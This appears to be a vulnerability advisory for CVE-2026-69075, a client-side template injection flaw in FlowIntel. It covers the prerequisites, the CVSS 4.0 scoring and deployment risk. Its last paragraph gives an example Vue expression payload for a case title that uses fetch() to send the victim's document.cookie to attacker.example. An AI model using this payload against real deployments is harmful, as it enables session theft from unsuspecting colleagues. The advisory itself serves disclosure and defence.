FlowIntel CVE-2026-69075

Exploitation requires the attacker to hold a valid FlowIntel account with write access to at least one of the explicitly affected fields: case titles, ticket identifiers, recurring-case type or schedule information, user profile attributes (first name, last name, nickname, email, or Matrix ID), organisation names, or role names. A victim must subsequently load a page that renders the poisoned field - specifically any of the case view, case report, recurring-case, account profile, or navigation templates confirmed in the commit diff. Limiting factors: authentication is mandatory (PR:L per CVSS 4.0); a field-level write permission is required; active victim page load is required (UI:A); the vulnerability is absent from default-deny configurations where editing shared fields is restricted. There is no remote unauthenticated exploitation path.

The CVSS 4.0 score of 6.9 with vector AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N accurately captures the threat model: network-accessible, low-complexity, requiring only low-privilege authentication and a single victim page visit. The VC:H metric reflects that session tokens, cookies, and all data visible to the victim are fully accessible to the injected JavaScript. Practical severity is elevated in multi-tenant or team deployments where case data is shared widely, as a single poisoned field can chain-victimize every reviewer. The UI:A (active user interaction) requirement is a meaningful dampener - passive background requests alone will not trigger the payload; a real page load is needed. No EPSS score was provided in the input data, and the vulnerability is absent from CISA KEV, indicating it has not been confirmed as actively exploited at scale. No public POC has been identified. Real-world priority is moderate-to-high for organisations running FlowIntel in collaborative environments, but organizations with a small or single-user deployment face limited cross-user exposure.

An authenticated FlowIntel user with permission to edit case titles sets a case title to a string containing a Vue expression, such as [[ fetch('https://attacker.example/steal?c='+document.cookie) ]]. Jinja2 HTML-escapes the surrounding text but passes the [[ ... ]] construct through untouched; when any colleague opens the case view, report, or recurring-case page, Vue's client-side compiler evaluates the expression and silently exfiltrates the victim's session cookie to the attacker-controlled endpoint. No public POC has been confirmed, but the attack surface is straightforward for anyone with knowledge of Vue's compilation model and FlowIntel's delimiter configuration.